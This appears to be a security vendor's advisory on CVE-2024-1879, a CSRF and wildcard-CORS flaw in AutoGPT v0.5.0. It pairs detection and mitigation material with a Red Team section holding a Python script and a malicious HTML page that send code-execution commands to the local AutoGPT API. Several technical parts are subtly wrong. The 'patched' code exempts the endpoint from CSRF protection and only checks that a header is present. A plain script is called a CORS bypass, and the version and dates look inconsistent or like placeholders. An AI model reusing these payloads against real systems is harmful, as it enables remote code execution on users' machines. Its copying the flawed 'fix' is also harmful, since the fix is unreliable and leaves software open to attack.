CVE-2024-1879

Executive Summary

CVE-2024-1879 is a critical Cross-Site Request Forgery (CSRF) vulnerability in significant-gravitas/autogpt version v0.5.0. The vulnerability allows an attacker to execute arbitrary commands on the AutoGPT server by tricking a user running AutoGPT in their local network into visiting a malicious website. The attack is facilitated by the lack of CSRF protections on the API endpoint that receives instructions, and by CORS being enabled for arbitrary origins by default, which allows the attacker to read the response of all cross-site queries. This vulnerability was addressed in version 5.1.

Supply Chain & Package Security

This vulnerability affects the Python package autogpt from the significant-gravitas repository. Users of this package should immediately upgrade to version 5.1 or later. The package is distributed via PyPI and GitHub. Ensure that your supply chain is secure by verifying the integrity of the package and its dependencies.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. The requirement for user interaction (tricking a user into visiting a malicious site) slightly reduces the risk, but the lack of authentication and CORS misconfiguration makes it a significant threat.

Deep Dive & Mechanics

The vulnerability lies in the API endpoint that receives instructions for the AutoGPT agent. In version v0.5.0, this endpoint does not implement any CSRF protection mechanisms, such as anti-CSRF tokens or SameSite cookies. Additionally, the server is configured to allow CORS requests from any origin by default. This combination allows an attacker to craft a malicious website that, when visited by a user running AutoGPT on their local network, can send forged requests to the AutoGPT server.

The attack flow:

1. The victim runs AutoGPT v0.5.0 on their local machine (e.g., http://localhost:8000).
2. The attacker hosts a malicious website (e.g., http://evil.com).
3. The victim visits the malicious website.
4. The malicious website sends a cross-origin request to the AutoGPT server (e.g., http://localhost:8000/api/instructions).
5. Due to CORS being enabled for all origins, the browser allows the request and the attacker can read the response.
6. The attacker can then execute arbitrary commands on the AutoGPT server by sending crafted instructions.

Vulnerable vs. Patched Code

Vulnerable Code (v0.5.0):

# No CSRF protection
@app.route('/api/instructions', methods=['POST'])
def receive_instructions():
    data = request.json
    # Process instructions without verifying origin
    return jsonify({"status": "ok"})

# CORS enabled for all origins
@app.after_request
def add_cors_headers(response):
    response.headers['Access-Control-Allow-Origin'] = '*'
    response.headers['Access-Control-Allow-Headers'] = '*'
    response.headers['Access-Control-Allow-Methods'] = '*'
    return response

Patched Code (v5.1):

# CSRF protection added
from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)

@app.route('/api/instructions', methods=['POST'])
@csrf.exempt  # Only if necessary, otherwise use CSRF token
def receive_instructions():
    # Verify CSRF token
    if not request.headers.get('X-CSRF-Token'):
        return jsonify({"error": "CSRF token missing"}), 403
    data = request.json
    return jsonify({"status": "ok"})

# CORS restricted to specific origins
@app.after_request
def add_cors_headers(response):
    allowed_origins = ['http://localhost:3000', 'https://trusted-site.com']
    origin = request.headers.get('Origin')
    if origin in allowed_origins:
        response.headers['Access-Control-Allow-Origin'] = origin
    response.headers['Access-Control-Allow-Headers'] = 'Content-Type, X-CSRF-Token'
    response.headers['Access-Control-Allow-Methods'] = 'POST, OPTIONS'
    return response

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

# Target AutoGPT server
target = "http://localhost:8000"

# Malicious payload to execute arbitrary command
payload = {
    "command": "execute_python_code",
    "code": "import os; os.system('calc.exe')"
}

# Crafted request with CORS bypass
headers = {
    "Content-Type": "application/json",
    "Origin": "http://evil.com"
}

# Send the CSRF attack
response = requests.post(f"{target}/api/instructions", json=payload, headers=headers)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

Lab Setup:

1. Install AutoGPT v0.5.0 on a local machine.
2. Start the AutoGPT server.
3. Host a malicious HTML page on a different machine or localhost.
4. Trick the victim into visiting the malicious page.
5. The malicious page sends the CSRF request to the AutoGPT server.

Malicious HTML Page:

<!DOCTYPE html>
<html>
<body>
<script>
fetch('http://localhost:8000/api/instructions', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        command: 'execute_python_code',
        code: 'import os; os.system("calc.exe")'
    })
}).then(response => response.json()).then(data => console.log(data));
</script>
</body>
</html>

Blue Team

Detection Steps:

1. Monitor for unusual cross-origin requests to the AutoGPT API.
2. Check server logs for requests with unexpected Origin headers.
3. Implement network segmentation to isolate AutoGPT servers.
4. Use web application firewalls (WAF) to block requests with suspicious origins.

Mitigation Steps:

1. Upgrade to AutoGPT v5.1 or later.
2. If upgrade is not possible, manually add CSRF protection and restrict CORS.
3. Use SameSite cookies to prevent CSRF attacks.
4. Implement strict Content Security Policy (CSP) headers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Requests to http://localhost:8000/api/instructions with Origin: http://evil.com
  • Unusual POST requests to the AutoGPT API from external IPs
• File IOCs:
  • Presence of malicious HTML files on the victim's machine
  • Logs showing execution of unexpected commands (e.g., calc.exe, whoami)
• Behavioral IOCs:
  • AutoGPT executing commands without user interaction
  • Unexpected system processes spawned by AutoGPT

Detection Engineering

YARA Rule

rule CVE_2024_1879_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against AutoGPT v0.5.0"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1879"
    strings:
        $s1 = "/api/instructions" ascii wide nocase
        $s2 = "execute_python_code" ascii wide nocase
        $s3 = "Origin: http://" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-1879 CSRF Exploit Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects CSRF exploit attempts against AutoGPT v0.5.0
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/instructions'
        cs(User-Agent): '*'
    condition: selection
falsepositives:
    - Legitimate AutoGPT usage
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1879 CSRF Exploit Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/instructions"; http_uri; content:"Origin"; http_header; pcre:"/Origin:\s*http:\/\/[^l]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade AutoGPT to version 5.1 or later.
2. Workaround: If upgrade is not possible, manually add CSRF protection and restrict CORS to trusted origins.
3. Network Controls: Implement network segmentation to isolate AutoGPT servers from untrusted networks.
4. Monitoring: Enable logging and monitoring for unusual cross-origin requests.
5. User Education: Educate users about the risks of visiting untrusted websites while running AutoGPT.

Valters IT
Securing Your Digital Future